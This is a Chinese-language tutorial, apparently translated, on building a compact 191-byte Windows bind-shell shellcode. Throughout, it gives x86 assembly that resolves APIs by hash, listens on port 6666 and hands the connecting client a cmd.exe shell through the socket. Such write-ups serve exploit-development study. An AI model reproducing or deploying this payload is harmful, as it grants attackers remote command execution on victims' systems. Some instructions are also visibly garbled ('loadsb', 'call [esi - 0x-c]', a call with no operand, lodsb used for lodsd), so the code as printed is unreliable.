背景:
這篇文章描述了一次以儘可能小體積來實現一個WIN32 ShellCode的嘗試,來完成一個通用的且有很多特性受限制的任務,試驗的最終結果是一個綁定某端口的,沒有空字符的('/0'),大小爲191字節的服務器端ShellCode,同時過程也描述了寫一個小型的ShellCode的通用方法。
體積對於ShellCode來說是非常重要的,因爲當對已經編譯好的二進制碼來說,ShellCode可以利用的空間的大小是常常受到限制的。更小體積的代碼比其它試驗代碼可以更保證執行成功,同時,每個多餘的字節從代碼裁剪後都將以指數的形式增加代碼執行成功的可能性。
假定讀者對於x86彙編代碼有一定程度的理解。
介紹:
我們的ShellCode要完成的功能是:
1.綁定ShellCode到6666端口。
2.接受一個到ShellCode的連接請求。
3.釋放所有資源,退出。
它必須支持Windows NT4, 2000, XP 和 2003系統,啓動代碼是:
void main()
{
unsigned char sc[256] = "";
strncpy(sc,
"shellcode goes here",
256);
__asm
{
lea eax, sc
push eax
ret
}
}
我們可以在代碼中觀察到此ShellCode將具有的一些特性:
ShellCode中不能包括任何空字符。
ShellCode必須從堆棧中運行。
啓動程序中還沒有初始化Winsock庫。
我們假設eax指向了我們ShellCode起始位置。
最後的具體代碼在文章的附錄中。首先,我們說明在開始動手前的一些注意事項和最終具體代碼的細節。
[1]寫小體積的ShellCode的一些好主意:
首先,最常用的更可能小的構造ShellCode的方法是:
1.使用更短的機器指令
X86指令的長度是不一致的,並且有時同種功能的不同指令的長度差別是不可預料的,要先擇儘量短小的指令,這裏,我們將使用的最常用的單字節指令:
xchg eax, reg 交換eax與其它寄存器中的內容
lodsd/lodsb 裝載由esi指向的雙字/單字節到eax/al中,同時遞增esi.
stosd/stosb 保存由edi指向的雙字/單字節到eax/al中,同時遞增edi.
pushad/popad 向/從堆棧中保存/恢復所有寄存器。
cdq 利用edx擴展eax爲四字(八字節),當我們知道eax<0x80000000時,指令會將edx設置爲0.
2.使用指令儘可能來完成多件事
有時我們可以將多件需要完成的事一次完成,例如以上的指令中stos可以替代xchg,lods
3.利用API規則
有時Windows API定義的參數可能是特定的類型或是特定的大小。但經驗證明我們用許多方式傳入的參數API函數都是可以接收的。例如:許多API函數需要一個結構體和表示結構體的大小的參數,只要簡單的設置這個表示大小參數爲足夠大的值時,API函數都是可以正常工作的。這樣,當我們知道在堆棧中已經存在一個任意的很大的數值時,我們可以利用API的這種包容性來避免爲其專門指定一個精確的參數。
許多的API函數的多個參數可以接受空值,同時這些參數常常在參數列表的末尾,也被放置在堆棧的尾部。與多次將值爲空的寄存壓棧的方法相比,更好的方法是:我們可以首先清空堆棧的一大塊空間爲空值。在調用函數時,只壓入非空的參數,依靠已經清空的堆棧空間來精巧的實現空值參數,當多次這樣成功的調用函數後,最終代碼量的減少是非常可觀的。
當某Windows API需要一個很大的結構體做爲參數時,我們也可以利用堆棧中的空間實現。我們時常發現這個單字節的指令"push esp"就可以傳入一個有效的結構體參數。有些時候,API函數可以包容多個結構體空間重疊在一起,特別是當一個參數是輸入參數,而另一個參數是輸出參數時。
4.不要像程序員一樣的思考問題
做爲程序員,我們使用一種特定的,系統化的方式來利用堆棧工作,我們壓入函數的參數,調用這個函數,可能還要調整堆棧的指針,最後還要保存/處理函數的輸出。
而做爲ShellCode的編寫者,我們應該有更多的想象:
爲了生成更小型的代碼,我們可以設置某個寄存器保存已知數值,長期的爲API函數傳入參數,直到真正要使用這個寄存器爲止。
可以使用在堆棧中已經存在的數據精巧的做爲參數而不進行任何壓棧操作。
如果我們已知合適的值在堆棧的上偏移處或下偏移處,可以只調整esp寄存器來使用它工作在正確的位置。
我們也可以使用另一種方式,就是堆棧的幀指針來關聯到正確的參數或局部成員位置處。通常的編譯器利用幀寄存器的方式不利於生成緊固的ShellCode代碼,但在任何情況下幀指針寄存器是在多個API調用間用來保存信息的絕妙的方式(下面將會介紹)。
5.高效的使用寄存器
X386寄存器並不是被完全等效的實現,通常的指令只支持特定的寄存器,或對一些寄存器只支持局部操作(如al,dl)。這些不怎麼被使用的寄存器己乎全部用來在API調用間保存數據(如:ebp,esi和edi,而其它的寄存器在特定的環境下也可以這樣使用)。這種使用寄存器保存數據的方法和僅使用堆棧的保存數據方法相比可以大大的提高效率。
6.考慮使用編碼或壓縮
對於需要大於200或300字節空間的ShellCode來說,它最好先被有效的編碼或壓縮,編碼的方式允許原始的代碼包括空字符而且因此可以潛在的提高效能;比如可以通過把空字符和某一固定的常量(並不在代碼中出現)相異或來消除空字符。
壓縮的方式將原始代碼縮短爲更短小的體積。
利用這兩種方式,最終的代碼將由解碼或解壓縮子程序先生成原始代碼再運行。考慮到實現一個合適的解壓器或解碼器的成本,這兩種方式僅在ShellCode的原始代碼的長度超過可以接受的長度時纔有使用價值。
但當我們的代碼有一些其它的限制時也會有這樣的需求。比如,ShellCode代碼只能包括阿拉伯字母時,這時,通常先不考慮這些限制而直接寫出原始的ShellCode代碼,然後再對其進行編碼來滿足要求,同時使以編碼方式滿足要求的自解碼子程序做爲最終的ShellCde的開始。
[2]定位Windows API函數
寫出可運行在多版本Windows系統上的ShellCode的任務可以大體分爲兩個部分:
定位各個需要的函數
使用這些函數來完成需要的功能
在前面已經說明了縮減ShellCode代碼體積的方法的大部分內容,雖然後面的內容也可能會附帶一些有關的技巧。
我們的ShellCode需要的所有的函數是:
ws2_32.dll庫:
WSAStartup-我們需要這個函數,因爲運行環境還沒有初始化Winsock功能庫。
WSASocketA-用來生成一個套接字。
bind-用來將套接字綁定至一個本地端口。
listen-用來監聽某個TCP套接字上的連接請求。
accept-用來接受一個獨立的連接。
kernel32.dll
LoadLibrayA-因爲我們需要裝載ws2_32.dll。
CreateProcessA-用來生成一個接收客戶端連接的命令行進程。
ExitProcess-當客戶端連接成功後就完整的退出ShellCode進程。
爲了定位這些需要的函數,我們要使用很規範的函數名散列的方法,搜索相關函數庫的導出表找出名稱與散列中的每個散列值匹配的函數,選擇一個合適的散列算法可以大大的節省我們代碼的體積。此散列算法需要滿足的需求:
1.要定位的函數在相應庫中不會發生衝突。
2.產生最少的滿足條件的散列項。
3.需要用最短小的字節數來實現它。
4.保存散列的內存空間如果被執行,效果如同空操作。
5.保存散列的內存空間包括了在我們實際想執行的機器碼。
對於需求1,我們可以進行各種優化達到我們需求。可以提供某種預定義的順序來查找導出表中的函數,使其中第一個匹配的函數是正確的。包來包容函數散列表可能存在的衝突,
對於需求2,這裏,我們假設8-bit長是散列表最優化的大小。kernel32.dll導出了超過900個函數,我們將仔細找出一種滿足需求1的方法在最多隻可以有256個表項的散列中找出正確函數。如果散列表整個內存空間的體積小於8-bit,把它們解碼爲可執行的形式必將引發一些系統消耗,這樣做是不划算的。
對於需求3,我們需要記住使用X386機器碼來實現同樣效果的操作可以有多種大小不同的方式,例如,
右移cl 1或2 bit:
/xd0/xc1 ;rol cl, 1
/xc0/xc1/x02 ;rol cl, 2
/x66/xc1/xc1/x02 ;rol cx, 2
所以散列表函數執行大部分操作時都可以優選那些更加短小的機器碼。
現在注意需求4和5,只要有可能,我們就要把我們的散列排列成與函數的被調用順序相同的順序。因爲這樣我們構造出的函數尋址表,可以利用很短的指令依順序調用它們。
需求4的考慮在於,如果我們可以找到一個滿足需求4的散列函數,那麼我們可以正確的把我們的散列表放置在ShellCode的開始處。這就意味着啓動程序中的eax將指向我們的散列表的開始,這種方法常常用在ShellCode的起始任務中需要調用某個散列表地址的情況下,這樣就不需要那個跳轉到散列表的指令。這樣的代碼運行時,在達到第一個有效的指令之前的所有指令將是無效果的,它們的執行不會帶來任何不好的效果。
在考慮需求4之後,需求5的設計是更有意義的。我們將通過把ShellCode代碼中要執行的指令與我們的散列表空間重疊的方法來保存空間。
有大量的潛在的散列算法是有效的,從它們之中找出合適的算法的最佳方法是使用程序化方式。我們寫了一個快速的工具來動態的通過合適的X386指令(xor, add, rol, etc)構建不同的散列算法。然後,將測試每種算法找出對於我們需要定位的函數可產生8-bit散列值同時滿足需求1和需求3的算法。這裏,最後結果是6種不同的候選算法,它們都是由兩個二字節的指令完成。下一步通過手動的檢查來判斷它們之中是否有滿足需求4和5的算法,如果很幸運的有一種算法滿足了需求4(它提供了一個無執行效果的散列內存空間),那麼這時需求5也同時滿足的可能性非常小,但我們也非常的希望它的出現。
當然,毫無疑問我們需要這個散列算法來工作在所有已經存在的基於NT內核的Windows系統上,可能將來版本的Windows的庫文件會引入新的導出表使我們用到的函數重定位,導致現在的散列算法不匹配,如果是這樣的,我們將需要再次查找可以工作在新平臺下的合適算法。
最後我們選擇的算法使用esi定位當前分析的函數名,edx被初始化爲空值。
hash_loop:
lodsb ;裝載下一個字符到al疊加esi
xor al, 0x71 ;用0x71異或當前字符
sub dl, al ;更新哈希表項當前字符
cmp al, 0x71 ;直到達到字符串末尾
jne hash_loop
這個散列算法輸出的結果如下,結果表現出了空操作等效的特徵:
0x55 ;LoadLibraryA ;pop ecx
0x81 ;CreateProcessA ;or ecx, 0x203062d3
0xc9 ;ExitProcess
0xd3 ;WSAStartup
0x62 ;WSASocketA
0x30 ;bind
0x20 ;listen
0x41 ;accept ;inc ecx
注意空操作等效特性是完全依賴於特定的環境的,比如是否需要關心無關寄存器的值,或者其它的附帶不利效果。在這裏的運行環境中,空操作等效特徵關係到:保存eax寄存器中的數據(因爲它指向了我們的散列表地址),不引用任何其它的寄存器(因爲我們無法保證它指向了有效的內存空間),不會發生代碼分支(jmp,retn,etc),以及不執行任何非法的,特權保護的,或其它有疑問的指令。
保證代碼空操作等效特徵的實現後,還要注意很常用的內容爲"cmd"的字符串的分配,這個字符串將被正確的放置在散列表之後,我們需要它在代碼中做爲一個參數傳入到CreateProcessA API函數中,來啓動一個命令行進程。我們不需要包括".exe"後綴,同時這個參數是大小寫不敏感的,結果爲:
0x43 ;C ;inc ebx
0x4d :M ;dec ebp
0x64 ;d ;FS:
0x64這個機器碼是一個指令前綴,它通知處理器在FS內存段的環境下譯碼尾隨的指令。但對於大部分指令將是順序執行的,這時這個前綴就是多餘的,將被處理器忽略。
(另一個常用的技巧要把它牢記在腦子裏,尾隨"cmd"這個字符串的空間是可以被它破壞的(譯者:我想是因爲它正好是DWORD的長度吧)。所以,如果我們知道堆棧的頂部值爲空的話,可以使用5個字節的指令"push 0x20646d63"來在堆棧中得到一個空結束字符串。
已經實現了優化散列算法的創意,下個任務是實現從散列值反解析函數地址的算法。有兩種方式來達到目的:
1.我們可以在代碼剛開始時解析全部的函數,保存它們的地址以備後用。
2.我們僅是在此函數被調用的時候纔對其解析。
兩種實現在不同的環境下都有相應的價值,在前面已經做出了選擇。
我們決定在堆棧中剛好是ShellCode的開始(也即內存地址的低處)保存函數地址。因爲我們在代碼中只是通過調用ExitProcess來完全的退出,所以任何對堆棧內存空間破壞都不重要了。我們將在散列表空間前24(0x18)個字節保存解析後函數地址。這意味着解析後的地址將精巧的複寫在散列表內存空間中,正好在"cmd"字符串之前。如同下面將看到的,我們保留一個正確指向"cmd"字符串的寄存器,可以用它來調用CreateProcessA。
我們將使用極具效率的指令 lodsb 和 stosd 來裝載和保存地址,所以我們分別設置esi和edi到散列表的起始地址和函數地址保存區的起始地址。同時,如果eax寄存器保存了一個很小的數值(它指向的堆棧空間),最好使用單字節指令 cdq 來設置edx爲0,我們將馬上使用這個技巧:
cdq ;set edx = 0
xchg eax, esi ;esi = addr of first function hash
lea edi, [esi - 0x18] ;edi = addr to start writing function
我們要定位的函數在kernel32.dll和ws2_32.dll兩個庫中。因爲後者沒有被加載,我們需要先使用kernel32.dll,它被所有的 Windows 進程自動加載。我們使用非常標準的方式來得到kernel32.dll庫的基地址,即定位PEB中的初始化庫列表,再找出列表中第二項(它一直用做kernel32.dll)(參見附錄)。
我們將循環執行散列解析代碼8次,每次對應一個函數散列值。當kernel32.dll的導出函數被完全定位後,我們將使用LoadLibrary("ws2_32")和返回的ws2_32庫的基地址來定位Winsock函數。之後,在調用WSAStartup函數時,我們還需要一個不可以被破壞的大的堆棧空間,用來寫入一個WSADATA結構體。同時,我們還有一個方便使用的保存着空值的edx寄存器,用來有效的利用堆棧空間和指向字符串"ws2_32",用做函數參數。
mov dh, 0x03
sub esp, edx
mov dx, 0x3232
push edx
push 0x5f327377
push esp
我們的函數解析代碼假設 ebp 一直保存着這個庫的基地址,esi 指向下一個將被執行的散列值,同時 edi 指向下一個用來寫入解析出的函數地址的位置。已經解決了加載散列表的問題,下個任務是找出函數導出表。
find_lib_functions:
loadsb ;load next hash into al
find_functions:
pushad ;保存所有寄器
mov eax, [ebp + 0x3c] ;eax = PE頭的起始地址
mov ecx, [ebp + eax + 0x78] ;ecx = 導出表的相對偏移量
add ecx, ebp ;ecx = 尋出表的絕對地址
mov ebx, [ecx + 0x20] ;ebx = 名稱表的相對地址
add ebx, ebp ;ebx = 名稱表的絕對地址
xor edi, edi ;edi用來統計所有函數的數量
然後我們循環遍歷所有的函數名,同時使用算法來計算相應的散列值。
next_function_loop:
inc edi ;累計函數總量
mov esi, [ebx + edi + 4] ;esi = 當前函數名的相對偏移量
add esi, ebp ;esi = 當前函數名的絕對偏移量
cdq
hash_loop:
lodsb ;裝載下一個字符到al疊加esi
xor al, 0x71 ;用0x71異或當前字符
sub dl, al ;更新哈希表項當前字符
cmp al, 0x71 ;直到達到字符串末尾
jne hash_loop
我們比較計算出的每個函數名的散列值對應的散列表的項來解析函數地址,這裏在使用pushad保存所有寄存器前先裝載了eax。eax值從此被改變,所以我們可以比較計算出的散列值和eax的值,它保存在堆棧空間esp + 0x1c中。
cmp dl, [esp + 0x1c] ;比較請求的散列值(譯者:我想這裏的dl是eax吧)
jnz next_function_loop
在比較結果一致後,當我們退出next_function_loop循環,我們找出了正確的函數,它的索引號將保存在edi中,同時函數計數器累加。現在對於當前查找的函數的餘下任務是使用索引號來找出函數的地址。
mov ebx, [ecx + 0x24] ;ebx = 序號表的相對地址
add ebx, ebp ;ebx = 序號表的絕對地址
mov dl, [ebx + 2 * edi] ;dl = 匹配函數的序列號
mov ebx, [ecx + 0x1c] ;ebx = 地址表的相對地址
add ebx, ebp ;ebx = 地址表的絕對地址
add ebp, [ebx + 4 * edi] ;將ebp值(模塊的基地址)加上匹配函數的相對偏移量
現在在ebp就是被解析的函數的地址,這裏想要此值保存在edi寄存器指向的地址爲起始地址的空間中,在我們使用pushad指令保存所有的寄存器之前。我們可以使用stosd移動到這裏,但是首先需要保存在edi中的原始地址。以下的代碼不很規範但只用了4個字節的代碼就可以正常工作。
xchg eax, ebp ;將函數的地址移至eax寄存器中
pop edi ;edi是使用pushad命令時最後壓入棧中的寄存器
stosd ;將函數的地址寫入edi
push edi ;恢復堆棧準備執行popad指令
我們現在已經完成了解析某個函數散列值的任務。我們需要恢復我們保存的寄存器,繼續循環直到解析所有8個函數之後。最後一個函數地址將精確的重寫在最後的函數散列,我們檢測兩個指針esi,edi是否相同來中止解析任務。
popad
cmp esi, edi
jne find_lib_functions
這就是我們完整的解析函數地址的情節。唯一沒有完成的是當已經解析了散列表中開頭的三個函數後從kernel32.dll切換到ws2_32.dll。爲了實現這個功能,在find_functions之前即時加入如下代碼:
cmp al, 0xd3 ;WSAStartup函數的散列值
jne find_functions
xchg eax, ebp ;保存當前的散列值
call [edi - 0xc] ;LoadLibraryA
xchg eax, ebp ;恢復當前散列值,同時更新ebp爲ws2_32.dll的基地址。
;首先保存Winsock首地址
push edi ;函數
這時字符串“ws2_32”的指針仍然在堆棧的頂部,所以我們可以正確的調用LoadLibrayA函數。
在解析我們的所有函數的散列值後,下個任務就是開始調用Winsock函數,所以我們在堆棧中保存第一個Winsock函數的位置。上面的代碼演示了單字節的指令“xchg eax, reg”對生成一個緊固的ShellCode代碼是多麼有效。
實現目標ShellCode
在使用任何函數前,我們需要通過調用WSAStartup函數初始化Winsock。調用解析函數地址時保存在堆棧中的函數地址,這些Winsock函數地址是以它被調用的順序來保存的。因此,我們將把函數地址存儲空間的首地址放置在esi中,在需要時使用lodsd/call eax來調用各個Winsock函數。
WSAStartup 用到了兩個參數:
itn WSASTartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
);
我們將使用堆棧來保存WSADATA數據結構。因爲這個參數是輸出參數,我們不需要初始化它-只要保證函數運行結果不會覆蓋任何重要的數據就可以。我們的代碼已經在堆棧中引入了足夠的空間來保證將不會覆蓋自身。
pop esi ;保存第一個Winsock函數地址的位置
push esp ;lpWSAData
push 0x02 ;wVersionRequested
Lodsd
call ;WSAStartup
WSAStartup返回0表示執行成功(如不成功,那麼將不再存在代碼可以運行的希望!)。所以可以通過判斷我們的eax寄存器是否爲空值,來執行多個必須的函數。字符串"cmd"在使用前需要保證它是空字符結束的。同時,其它的一些Winsock函數的參數可以爲空值。我們將清空大塊的堆棧空間爲0。這樣我們不做任何事就可以使用空值參數,我們也將使用清空後的堆棧來生成CreateProcessA函數需要的STARTUPINFO結構體。
mov byte ptr [esi + 0x13], al
lea ecx, [eax + 0x30]
mov edi, esp
rep stosd
下一步,WSASocket使用了6個參數:
SOCKET WSASocket(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
這個函數只需關心af,type和特殊類型的參數,因此只需要af在相應的位置輸入2(AF_INET)和1(SOCK_STREAM)。我們將利用我們清空的堆棧爲其它的參數提供0值。WSASocket返回一個套接字描述符,將被以後的Winsock函數所使用。我們把它保存在ebp中,ebp在任何API調用中都保證不會改變。
inc eax ;type = 1 (SOCK_STREAM) push eax
inc eax ;af = 2 (AF_INET)
push eax
lodsd
call eax ;WSASocketA
xchg ebp, eax ;在ebp中保存套接字描述符
下一步需要使我們的套接字監聽客戶端連接請求通過調用Winsock函數bind,它要求三個參數:
int bind(
SOCKET s,
const struct sockaddr *name,
int namelen
);
使用程序員的思考方式,我們將假設我們需要通過多件步驟來正確完成對bind函數調用。
1.生成並初始化一個sockaddr結構。
2.將sockaddr結構體的長度入棧。
3.將sockaddr結構體的指針入棧。
4.將套接字描述符入棧。
但其實我們只要對這些步驟做些小改動,就將得到更高的效率。首先,name參數指向的結構體的大部分的值可以設置爲0-我們只需要關心開頭的兩個成員:
short sin_family;
u_short sin_port;
第二步,如前所述,這個namelen參數不需要精確的等於實際結構的長度-只要足夠大就可以。因此,我們可以利用其他的數據區。在這裏,對於以上兩個成員,我們將使用雙字 0x0a1a0002(其中的0x0a1a是6666,用做端口號,0x02表示AF_INET,地址族)。我們也將重用這個雙字做爲此結構體的長度值參數(它是足夠大的)。我們將使用堆棧做爲結構體,所以其餘的成員都由清空後的堆棧空間自然的初始化爲0。不巧的是我們下一步需要這個雙字爲空值,所以我們需要手動的維護它。
mov eax, 0x0a1aff02
xor ah, ah ;清除中間的ff
push eax ;length參數,同時也是結構體的頭兩個成員
push esp ;指向結構體
push ebp ;保存的套接字描述符
lodsd
call eax ;bind
餘下的任務是通過接收客戶端的連接生成本地套接字,通過調用listen和accept函數來完成。這兩個函數聲明爲:
int listen(
SOCKET s,
int backlog
);
SOCKET accept(
SOCKET s,
struct sockaddr *addr,
int *addrlen
);
對於這兩個函數,唯一必須給出的參數是我們保存的套接字描述符-其餘的參數可以全部輸入0。accept函數將返回一個新的套接字描述符,代表了相應的客戶端連接。listen和bind 函數正好相反,返回0表示成功。實現這些功能,可以利用其它的技巧來減少我們的代碼。我們可以使用一個循環來爲三個函數輸入這個通用的套接字參數,在accept返回非零值時中斷這個循環。它非常好的展示了將調用函數地址以其調用順序排列的優點。下面的代碼中最後三條指令由循環替換爲實際的函數:bind和它後面的兩個函數。
call_loop:
push ebp ;保存套接字描述符
lodsb
call eax ;調用下個函數
test eax, eax ;bind 和 listen函數將返回0
;accept將返回實際的套接字描述符
jz call_loop
我們現在差不多可以結束整個工作了,我們已經接收一個客戶端連接,現在只需要啓動cmd.exe做爲一個子進程,通知它使用客戶端的套接字做爲它的標準句柄,然後完整的退出進程。
CreateProcess要求10個參數,最關鍵的是我們使用STARTUPINFO結構體來指定客戶端的套接字爲子進程的標準句柄,和子進程文件名稱字符串"cmd"。如同前面,大部分的STARTUPINFO結構體成員可以設置爲0,所以我們使用清空的堆棧表示它們。我們需要設置STARTF_USESTDHANDLES標誌符爲真,然後拷貝我們的套接字描述符(仍然保存在eax寄存器中)到這個結構體成員hStdInput,hStdOutput, 和hStdErr中。(實際上,我們可以減少一個單字節代碼來通過不設置stderr。但這裏,我們使用一般的方式)。很容易實現這些操作:
;initialise a STARTUPINFO staructure at esp
inc byte ptr [esp + 0x2d] ;設置STARTF_USESTDHANDLES爲真
sub edi, 0xfc ;將edi指向STARTUPINFO的成員
stosd ;設置客戶端套接字爲 stdin 句柄
stosd ;同樣設置stdout
stosd ;同樣設置stderr(可選)
然後我們只需簡單的將相關的參數入棧,再調用CreateProcess函數,不需要更多的解釋,儘量多討論一些好技巧。已知我們的堆棧是清空的,所以使用單字節指令“pop eax”來得到一個空值寄存器更勝於使用兩字節的指令“xor eax, eax”。需要使用PROCESSINFORMATION結構體傳入一個輸出參數,因爲這時我們的堆棧將會很快的結束使用,所以最好還用堆棧來保存這個參數,它覆蓋了STARTUPINFO結構(輸入參數)。
pop eax ;設置eax爲0 (STARTUPINFO 結構體現在esp + 4處)
push esp ;使用堆棧做爲PROCESSINFORMATION結構體
;(STARTUPINFO現在已經被設置在esp中)
push esp ;STARTUPINFO結構體
push eax ;lpCurrentDirectory = NULL
push eax ;lpEnvironment = NULL
push eax ;dwCreationFlgs = NULL
push esp ;bInheritHandles = true
push eax ;lpThreadAttributes = NULL
push eax ;lpProcessAttributes = NULL
push esi ;lpCommandLine = “cmd”
push eax ;lpApplicationName = NULL
call [esi - 0x-c] ;CreateProcessA
我們的客戶端現在已經做爲一個命令行程序運行,然後完成我們的ShellCode僅有的任務就是完整的退出。
call [esi - 0x18] ;ExitProcess
文章中的術語:
ShellCode:可執行的機器碼